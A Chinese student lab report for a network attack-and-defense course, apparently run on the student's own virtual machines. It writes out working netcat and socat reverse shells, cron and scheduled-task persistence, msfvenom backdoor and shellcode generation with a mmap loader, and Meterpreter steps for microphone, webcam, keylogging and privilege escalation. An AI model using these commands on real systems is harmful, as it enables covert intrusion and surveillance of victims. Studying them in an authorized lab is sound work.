20242316 2025-2026-1 《网络与系统攻防技术》实验二实验报告
20242316 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1.基础知识
1.1 后门的概念
后门(Backdoor)是指绕过系统正常认证机制、能够隐蔽访问系统的通道。广义上,编译器、操作系统、应用程序都可能被植入后门;狭义上,特指潜伏于系统中专门用于远程控制的程序。后门要发挥作用需满足四个条件:有程序、能传入、能启动、能隐藏。
1.2 反向 Shell 原理
传统正向连接由攻击者主动连接目标端口,容易被防火墙和 NAT 拦截。反向 Shell 则相反:目标主机主动连接攻击机的监听端口,将自身 Shell 的输入输出通过 TCP 连接转发给攻击机。由于出站连接通常被防火墙放行,反向 Shell 穿透性更强,这也是本次实验全部任务采用反弹连接的原因。
1.3 持久化机制
- Linux cron:cron 是周期性执行任务的守护进程,通过
crontab -e编辑任务表,格式为分 时 日 月 周 命令,任务按时间条件反复触发。 - Windows 任务计划程序:通过
schtasks命令或图形界面创建任务,任务由触发器和操作组成,可按固定周期(如每分钟)执行指定程序。
1.4 常用工具
- Netcat/ncat:底层 TCP/UDP 数据收发工具,
-l监听、-p指定端口、-e在连接建立后执行指定程序,常用来反弹 Shell。 - Socat:netcat 的增强版,支持
pty伪终端和stderr重定向,反弹的交互式 Shell 更完整,Windows 版还需pipes参数配合cmd.exe。 - MSF(Metasploit Framework):
msfvenom用于生成各类 payload,msfconsole的exploit/multi/handler用于接收反弹连接。Meterpreter 是高级 payload,支持内存驻留、提权、音视频采集、击键记录等功能。
1.5 免杀技术
后门要长期存活,还必须绕过杀毒软件的查杀。常见免杀思路包括:payload 编码混淆(如 msfvenom 内置的 encoders)、加壳与特征修改、程序分离(staged 只加载小段 stager)、以及无文件攻击(shellcode 直接在内存中加载执行、不落盘)。本次实验通过 MSF 生成 payload,并结合内存加载方式理解免杀与对抗的基本原理。
2.实验内容
2.1 实验目标
- 使用 netcat 获取主机操作 Shell,并用 cron 启动某项定时任务;
- 使用 socat 获取主机操作 Shell,并通过任务计划启动;
- 使用 MSF meterpreter(或其他软件)生成可执行文件后门,利用 ncat 或 socat 传送到主机并运行,获取主机 Shell;
- 使用 MSF meterpreter 生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权;
- 使用 MSF 生成 shellcode,注入到 pwn1 中,获取反弹连接 Shell。
通过以上任务掌握后门原理及免杀技术,并完成实验要求的思考题。
2.2 实验环境
- 攻击机:Kali Linux(IP 192.168.10.128,主机名 20242316pyy)
- 目标机:Windows(IP 192.168.10.1,VMnet8 网卡,主机名 LAPTOP-6678RAFP)
- 实验网络:VMware 虚拟机 NAT 网段 192.168.10.0/24,两机互通
- 主要工具:netcat/ncat、socat、MSF(msfvenom、msfconsole、Meterpreter)、gcc
2.3 任务方案概述
- 任务一:Windows 端用 ncat 监听端口,Kali 端用
nc -e反弹 Shell;编写含学号的反弹脚本并挂入 cron,每分钟自动执行。 - 任务二:Kali 端用 socat 监听端口,Windows 端用 socat 反弹 cmd Shell;编写含学号的批处理,通过任务计划程序(schtasks)每分钟自动执行。
- 任务三:msfvenom 生成 Windows Meterpreter 反弹后门,经 HTTP 传送到 Windows 运行,MSF handler 接收会话。
- 任务四:在 Meterpreter 会话中采集目标机音频、摄像头画面、击键记录,并以管理员权限运行后门后尝试 getsystem 提权。
- 任务五:msfvenom 生成 Linux 反弹 shellcode,用 C 加载器配合 mmap 可执行内存注入执行,获取反弹 Shell。
3.实验过程
3.1 任务一:netcat 获取 Shell,cron 启动定时任务
第 0 步:获取双方 IP
Kali 端执行 ip addr,eth0 地址为 192.168.10.128;Windows 端查看 VMnet8 适配器,地址为 192.168.10.1。

[Kali 端查看 IP]

[Windows 端查看 IP]
第 1 步:Windows 启动 ncat 监听
进入 ncat.exe 所在目录,执行 ncat.exe -l -p 7777,光标停在下一行,表示正在监听 7777 端口。

[Windows 端 ncat 监听 7777 端口]
第 2 步:Kali 反弹 Shell 到 Windows
先确认 nc 支持 -e 参数:which nc 返回 /usr/bin/nc,nc -h 帮助信息中可见 -e filename(program to exec after connect)。随后执行反弹命令 nc 192.168.10.1 7777 -e /bin/sh。切换到 Windows 的 ncat 窗口,输入 whoami、ls 测试,返回 kali 用户及其家目录内容,说明反弹成功。

[Kali 确认 nc 支持 -e 参数]

[Kali 执行反弹命令 nc 192.168.10.1 7777 -e /bin/sh]

[Windows 端 ncat 窗口获得 Kali Shell(whoami 返回 kali)]
第 3 步:在 Kali 上创建 cron 任务脚本
编写反弹脚本 /home/kali/20242316_task.sh(文件名包含学号),内容为:
#!/bin/bash
/usr/bin/nc 192.168.10.1 7777 -e /bin/sh
先手动执行脚本验证脚本本身可用:Windows 端 ncat 窗口随即再次出现 Kali Shell(whoami 返回 kali、pwd 返回 /home/kali)。

[创建并查看反弹脚本 20242316_task.sh]

[手动执行脚本后 Windows 端再次获得 Kali Shell]
第 4 步:设置 cron 定时任务
执行 crontab -e 添加任务 * * * * * /home/kali/20242316_task.sh(每分钟执行一次),并通过 chmod +x 确保脚本具有执行权限。

[crontab -l 查看定时任务配置]

[chmod +x 赋予并验证脚本执行权限]
第 5 步:验证 cron 自动启动任务
等待一分钟后,Windows 端 ncat 窗口自动出现 Kali Shell(whoami 返回 kali、pwd 返回 /home/kali)。再用 journalctl -u cron 查看 cron 日志,可见任务每分钟执行一次 CMD (/home/kali/20242316_task.sh),验证成功。

[cron 日志显示每分钟执行一次 20242316_task.sh]
3.2 任务二:socat 获取 Shell,任务计划启动
准备工作:确认安装 socat
Kali 端 which socat 返回 /usr/bin/socat;Windows 端准备好 socat.exe 及其依赖 DLL。

[Kali 确认 socat 已安装]

[Windows 端 socat 工具目录]
第 1 步:手动测试 socat 反弹 Shell
Kali 端执行 socat -d -d tcp-listen:8888 - 监听 8888 端口,日志显示 listening on AF=2 0.0.0.0:8888,光标停住表示正在监听。Windows 端执行 socat.exe tcp:192.168.10.128:8888 exec:cmd.exe,pipes 反弹,手动验证反弹成功。

[Kali 端 socat 监听 8888 端口]

[Windows 端手动执行 socat 反弹命令]
第 2 步:创建包含学号的脚本文件
将反弹命令写进批处理脚本 20242316_socat.bat(文件名包含学号):
@echo off
socat.exe tcp:192.168.10.128:8888 exec:cmd.exe,pipes
由于脚本运行出现问题(中文路径),随后将文件夹改为不含中文的纯英文路径 E:\course\NetworkAttackandDefense\socat。先在 Windows 端手动运行批处理,Kali 终端出现 Windows Shell 并执行 whoami 验证反弹成功。

[创建含学号的批处理脚本 20242316_socat.bat]

[Windows 端手动运行批处理]

[Kali 终端出现 Windows Shell 并执行 whoami]
第 3 步:创建任务计划
以管理员身份在 cmd 中执行:
schtasks /create /sc minute /mo 1 /tn "20242316_task" /tr "E:\course\NetworkAttackandDefense\socat\20242316_socat.bat"
参数说明:/sc minute 按分钟触发,/mo 1 每 1 分钟执行一次,/tn 任务名含学号,/tr 指向含学号的批处理文件。创建成功后用 schtasks /query /tn "20242316_task" /v /fo LIST 查看任务详情:任务名为 \20242316_task,要运行的任务为 E:\course\NetworkAttackandDefense\socat\20242316_socat.bat,并显示下次运行时间、上次运行时间、上次运行结果等信息。

[创建任务计划 schtasks /create]

[查询任务计划详情 schtasks /query]
第 4 步:验证任务计划自动反弹
我不想等待,直接手动触发任务(等同到达计划时间自动执行)。Kali 端 socat 监听窗口随即自动出现 Windows cmd Shell,输入 whoami 返回 Windows 用户名,验证成功。

[手动触发任务计划]

[Kali 端自动出现 Windows Shell,whoami 返回 Windows 用户名]
3.3 任务三:MSF meterpreter 生成后门,传送并运行获取 Shell
准备工作
先关闭 Windows 防护(实时保护等),否则后门会被杀毒软件拦截;随后用 ping 确认两机连通:Kali ping -c 3 192.168.10.1、Windows ping 192.168.10.128 均能通。

[关闭 Windows 防护(1)]

[关闭 Windows 防护(2)]

[Kali ping 通 Windows]

[Windows ping 通 Kali]
第 1 步:生成后门可执行文件
Kali 端用 msfvenom 生成 Windows 反弹后门(文件名包含学号):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=5555 -f exe -o /home/kali/20242316_backdoor.exe
参数说明:-p 指定 payload 类型(Windows 平台 meterpreter 反向 TCP),LHOST 为 Kali 的 IP(后门会连回来),LPORT 为 Kali 监听端口(注意不要和 8888 冲突),-f exe 输出为 Windows 可执行文件,-o 指定含学号的输出文件。生成成功后可执行文件约 7168 字节,用 ls 验证文件存在。

[msfvenom 生成后门 20242316_backdoor.exe]

[验证后门文件存在]
第 2 步:通过 HTTP 传送到 Windows
在 Kali 后门所在目录启动 Python HTTP 服务 python3 -m http.server 5215;Windows 端打开浏览器,地址栏输入 http://192.168.10.128:5215/20242316_backdoor.exe,回车后下载得到后门文件。

[Kali 端开启 HTTP 服务]

[Windows 浏览器下载后门文件]
第 3 步:启动 MSF 监听
启动 msfconsole,配置监听器:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.128
set LPORT 5555
exploit
配置完成后 Kali 开始监听 5555 端口,等待 Windows 连接。

[启动 msfconsole]

[配置监听器 multi/handler]

[确认监听成功]
第 4 步:在 Windows 上运行后门
双击运行 20242316_backdoor.exe,Windows 端无显示,Kali 的 msfconsole 出现 Meterpreter session 1 opened,并进入 meterpreter > 提示符,说明会话建立成功。执行 sysinfo、getuid 等命令验证会话。

[Meterpreter 会话建立成功]

[验证会话(sysinfo/getuid 等)]
3.4 任务四:Meterpreter 音视频、击键记录与提权
在已建立的 Meterpreter 会话中依次执行:
- 录音:
record_mic -d 10录制目标机麦克风 10 秒音频;

[录音 record_mic]
- 摄像头拍照:
webcam_list列出摄像头、webcam_snap拍摄照片;

[摄像头拍照 webcam_snap]

[摄像头拍摄的照片]
- 摄像头录像:
webcam_stream开启实时视频流(Ctrl+C 停止);
、
[摄像头录像 webcam_stream]

[摄像头录像画面]
- 击键记录:
keyscan_start开始捕获击键,在目标机记事本中输入内容后keyscan_dump导出击键记录,最后keyscan_stop停止;

[击键记录 keyscan_dump 输出]
- 查看当前权限并尝试提权:
getuid查看当前权限为普通用户LAPTOP-6678RAFP\ASUS;直接getsystem提权失败(连接超时,默认超时 15 秒);以管理员身份重新运行后门并重新启动监听后,先用sessions --interact 1 --timeout 60增加超时,再执行getsystem成功(Named Pipe Impersonation 技术),getuid显示NT AUTHORITY\SYSTEM,已提升到 Windows 最高权限。

[getuid 显示普通用户权限 LAPTOP-6678RAFP\ASUS]

[查看当前权限(普通用户)]

[getsystem 报超时]

[以管理员身份重新运行后门并重启监听]

[增加超时后再次 getsystem 成功(Named Pipe Impersonation)]

[getuid 显示 NT AUTHORITY\SYSTEM(提权成功)]

[验证提权结果(已提升到 Windows 最高权限)]
另外还尝试了 hashdump 导出密码哈希,被系统保护拦截报错 1168(属正常现象)。
3.5 任务五:MSF shellcode 注入 pwn1 获取反弹 Shell
pwn1 为 32 位 ELF 程序(NX enabled),且缺少可用的 ROP gadget,无法直接通过栈溢出跳转执行 shellcode,因此改用 C 加载器 + mmap 分配可执行内存的方式注入执行 MSF shellcode。
第一步:确认环境
先在 Kali 端确认实验环境。

[确认环境]
第二步:生成 MSF Shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.10.128 LPORT=6666 -f c -o /home/kali/20242316_shellcode.c
参数说明:linux/x86/shell_reverse_tcp 为 32 位 Linux 普通反弹 Shell,LHOST 为 Kali 的 IP,LPORT 为自定义端口,-f c 输出 C 语言数组格式,-o 保存为含学号的文件。生成后可查看文件内容。

[msfvenom 生成 shellcode 20242316_shellcode.c]

[查看 shellcode 文件内容]
第三步:编写 C 加载器
用 nano 创建加载器 /home/kali/20242316_loader.c(文件名包含学号):用 mmap 分配一块 PROT_READ | PROT_WRITE | PROT_EXEC 的可执行内存,将 shellcode 数组 memcpy 进去,再强制类型转换为函数指针并调用执行。

[创建加载器文件]

[加载器源码(mmap + memcpy 注入执行)]
第四步:编译加载器
gcc -m32 -z execstack -o /home/kali/20242316_pwn_injected /home/kali/20242316_loader.c
chmod +x /home/kali/20242316_pwn_injected
file 查看编译结果为 ELF 32-bit 可执行文件。

[编译加载器并赋予执行权限]
第五步:启动 MSF 监听
另开一个终端,启动 MSF 监听:
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 192.168.10.128
set LPORT 6666
exploit

[MSF 监听配置]
第六步:运行加载器,获取反弹 Shell
回到第一个终端运行加载器,MSF 监听终端响应:出现 [+] Command shell session opened (192.168.10.128:6666 -> ...),反弹 Shell 建立成功。执行 whoami(返回 kali)、id(uid=1000(kali))、pwd(返回 /home/kali)验证。

[运行加载器]

[MSF 监听终端响应(Command shell session opened)]

[验证反弹 Shell(whoami/id/pwd)]
3.6 实验问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
我觉得最常见的可能就是下载了带后门的软件。比如做实验时我用 msfvenom 生成了一个后门 exe,如果把它伪装成“游戏外挂”或者“破解工具”发到网上,别人一下载双击,后门就悄悄运行了。我自己在实验里双击那个 7KB 的后门时,Windows 什么都不显示,但 Kali 那边立刻就收到了 Meterpreter 会话,整个过程没有任何弹窗提示。所以对于普通用户来说,很可能就是图方便下载了来路不明的程序,或者点了钓鱼邮件里的附件,后门就进来了。而且杀毒软件如果不更新或者被关闭,根本拦不住。
(2)例举你知道的后门如何启动起来(win 及 linux)的方式?
Windows 下我实验里用的是任务计划程序,用 schtasks 命令创建一个每分钟执行一次的任务,指向后门脚本。除此之外还有注册表的 Run 键、启动文件夹、系统服务等。Linux 下我用了 cron,编辑 crontab -e 加一行定时任务,到点就自动反弹 Shell。除此之外还有 systemd 服务、.bashrc 这种登录时执行的配置文件、/etc/rc.local 开机脚本。实验里 cron 和 schtasks 都成功让后门自动跑起来了,感觉就是利用系统本来就有的定时机制,把恶意命令混进去,系统自己就会帮你执行。
(3)Meterpreter 有哪些给你印象深刻的功能?
最让我震惊的是 getsystem 能直接提权到 NT AUTHORITY\SYSTEM。我当时先用普通权限运行后门,getprivs 什么特权都没有,提权失败;后来右键“以管理员身份运行”,再 getsystem,一下子就变成系统最高权限了。还有 webcam_snap 真的拍到了摄像头照片,keyscan_start 之后在记事本打的字全被 keyscan_dump 抓下来了。screenshot 也能直接截目标屏幕。这些功能让我觉得,一旦后门进来,隐私完全没有了,非常可怕。
(4)如何发现自己系统有没有被安装后门?
我觉得最简单就是装个好点的杀毒软件,定期全盘扫描。实验里我关了 Defender 才能运行后门,说明杀软确实有用。另外可以自己检查:Windows 下看任务计划程序有没有奇怪的任务,用 netstat -ano 看有没有异常端口连接;Linux 下用 crontab -l 看定时任务,ps aux 看可疑进程,systemctl list-units 看服务。还可以看登录日志、检查启动项。不过说实话,如果后门做得隐蔽,普通用户很难发现,所以平时不要乱下东西、乱点链接才是根本。
4.问题及解决方案
- 问题1:Kali 上用
nc -e反弹,命令敲下去看着没报错,目标机却一直没反应。- 解决方案:默认装的是 OpenBSD 版 netcat,它把
-e这个"连上就执行程序"的危险选项砍掉了,所以命令能打出来却根本不生效。先which nc确认一下,再装 netcat-traditional 这个传统版本,用sudo update-alternatives --config nc把默认 nc 切过去,-e就能用了。
- 解决方案:默认装的是 OpenBSD 版 netcat,它把
- 问题2:想翻
/var/log/syslog看 cron 到底跑没跑,结果提示这个文件压根不存在。- 解决方案:新版 Kali 早就不用传统 syslog 那一套了,日志全交给 systemd-journald 管。别再抱着 syslog 死找,直接
journalctl -u cron | tail看 cron 日志,任务每分钟执行一条,清清楚楚。
- 解决方案:新版 Kali 早就不用传统 syslog 那一套了,日志全交给 systemd-journald 管。别再抱着 syslog 死找,直接
- 问题3:socat 在 Windows 上反弹时报"管道不存在"之类的错,连不上。
- 解决方案:Windows 版 socat 调
cmd.exe时必须显式告诉它要走管道,也就是得加上pipes参数。命令写成socat.exe tcp:攻击机IP:端口 exec:cmd.exe,pipes,少了这个参数就弹不起来。
- 解决方案:Windows 版 socat 调
- 问题4:任务计划建好了也提示成功,到点却不反弹;手动跑批处理还报"系统找不到指定的路径"。
- 解决方案:问题出在批处理所在路径带了中文(比如"网络攻防"这种),任务计划程序对中文路径处理容易出幺蛾子。把整个脚本挪到一个纯英文、没空格的目录,比如
E:\course\NetworkAttackandDefense\socat,任务计划的/tr也指向新路径里的20242316_socat.bat,就正常了。
- 解决方案:问题出在批处理所在路径带了中文(比如"网络攻防"这种),任务计划程序对中文路径处理容易出幺蛾子。把整个脚本挪到一个纯英文、没空格的目录,比如
- 问题5:想用 ncat 把后门文件直接传到 Windows,结果传着传着就卡死在那半天不动。
- 解决方案:ncat 传二进制大文件本身就不稳,再碰上端口占用、防火墙干扰更容易卡死。别死磕 ncat 了,直接在 Kali 上
python3 -m http.server 5215起个临时 HTTP 服务,Windows 浏览器访问下载,又快又稳。
- 解决方案:ncat 传二进制大文件本身就不稳,再碰上端口占用、防火墙干扰更容易卡死。别死磕 ncat 了,直接在 Kali 上
- 问题6:getsystem 一提权就失败,要么没反应要么直接报超时。
- 解决方案:一开始是后门用普通用户权限跑的,权限根本不够,
getprivs里啥特权都没有;再加上 MSF 默认会话超时才 15 秒,稍微一卡就超时。解决办法:把后门右键"以管理员身份运行"重新跑一遍、重新建立会话,再sessions --interact 1 --timeout 60把超时拉大,这回 getsystem 一把就提上去了(走的 Named Pipe 冒充)。
- 解决方案:一开始是后门用普通用户权限跑的,权限根本不够,
- 问题7:任务五想用
msfvenom -x pwn1 ...直接把 shellcode 嵌进 pwn1 里,结果输出文件才 123 字节,根本不对。- 解决方案:
-x是拿模板文件套壳注入,但 pwn1 这种 32 位的小 ELF 它根本不认,套了等于白套。换个思路,不折腾 pwn1 了,自己写个 C 加载器,用mmap申请一块可执行内存,把 shellcodememcpy进去再跳过去执行,效果一样。
- 解决方案:
- 问题8:任务五想让 msfvenom 输出 C 数组格式(
-f c),它却提示这个 payload 不支持 C 格式。- 解决方案:之前选的那个 stageless 的 meterpreter payload 只支持编出 ELF 可执行文件,吐不出 C 数组。换成普通的
linux/x86/shell_reverse_tcp这个 payload,-f c就能正常输出 shellcode 数组了。
- 解决方案:之前选的那个 stageless 的 meterpreter payload 只支持编出 ELF 可执行文件,吐不出 C 数组。换成普通的
5.学习感悟、思考等
这次实验做下来,最直观的感受是:课本上"后门""提权"这些词,平时看着也就一行概念,亲手把命令一条条敲一遍、再眼睁睁看着另一台机器的 Shell 在自己终端里弹出来,分量完全不一样。从 netcat 到 socat,再到 MSF 的 Meterpreter,像是顺着一条线把"怎么连上别人的机器、怎么让它一直在线、怎么拿到更高权限"整个走了一遍。
从技术上说,我真正理解了反向 Shell 为什么"反着连"反而更有效——正向连接要目标机开端口等着被连,很容易被防火墙拦在外面,而让目标机主动向外回连,走的是通常被放行的出站连接,穿透性自然强。cron 和 Windows 任务计划程序表面上是两套完全不同的东西,一个在 Linux 里靠 crontab 配,一个在 Windows 里用 schtasks 建,但本质上都是"到点自动跑一段程序",把它俩放在一起对照着学,一个配 * * * * *、一个配 /sc minute /mo 1,比单看一个清楚得多。Meterpreter 的功能也超出我预期:record_mic 录到的声音、webcam_snap 拍下来的画面、keyscan_dump 里逐行吐出来的击键,这些以前只在影视作品里见过的操作,现在一条命令就能做到。让我印象最深的还是任务四提权那一下:前面一直是普通用户权限,getprivs 里什么特权都没有,把超时拉大、用管理员身份重跑后门之后,getsystem 成功、getuid 跳出 NT AUTHORITY\SYSTEM 的那一刻,确实有点激动——几行命令就从普通用户拿到了系统最高权限,"权限提升"这四个字一下子变得具体而不是抽象名词。
不过过程并不顺利,报错比我预想的多。Kali 上的 nc 居然不认 -e,翻了半天才发现是版本问题;/var/log/syslog 死活找不到,原来是新版 Kali 改了日志方式;socat 反弹报"管道不存在",结果只是少了一个 pipes 参数;脚本放在带中文的路径下,任务计划怎么都跑不起来;staged 和 stageless 的区别也是踩过才明白;任务五一开始 msfvenom -x 套壳只输出 123 字节,根本不知道哪错了……好几次盯着报错卡住半天,最后都是一条一条对着输出查文档、改命令、再试。现在回头看,这些折腾其实比一次跑通更让人记得住——跑通了可能只是抄对了命令,踩坑才真正把每个参数为什么这么写搞明白。真实环境本来就不会顺风顺水。
实验也让我对"威胁"有了具体概念:一个几 KB 的 shellcode 就能在另一台机器上开一个完整 Shell,一条 cron 记录就能让它每分钟自己回来,而且运行的时候屏幕上什么都不显示。以前觉得"后门"离自己很远,做完才意识到它隐蔽起来有多容易。作为练习者,这些技术我只在本实验的实验机上动手,离开授权环境绝不能碰,这是底线;作为将来可能的防守方,也真切体会到平时多看看异常端口、可疑进程和计划任务、及时打补丁,并不是形式主义——攻击者要做的事,恰恰就是利用这些平时被忽略的角落。
任务五大概是我收获最大的一段。一开始我想当然地用 msfvenom -x 直接往 pwn1 里塞,失败后才沉下心分析:是 NX 保护和 ROP gadget 不够,栈上放的 shellcode 根本执行不了。最后改成自己写 C 加载器,用 mmap 开一块 PROT_EXEC 的可执行内存,把 shellcode memcpy 进去再跳过去执行,才拿到反弹 Shell。这种"想当然失败 → 拆开分析原因 → 换一条思路重新成功"的过程,比命令本身更让我真正理解 NX 保护在保护什么、shellcode 是怎么被加载和执行的、MSF 不同 payload 之间格式上又有什么差别。整体而言,这次实验把散落在各个章节的知识点串成了一条完整的攻防链,也让我更清楚每条命令背后到底在做什么。

浙公网安备 33010602011771号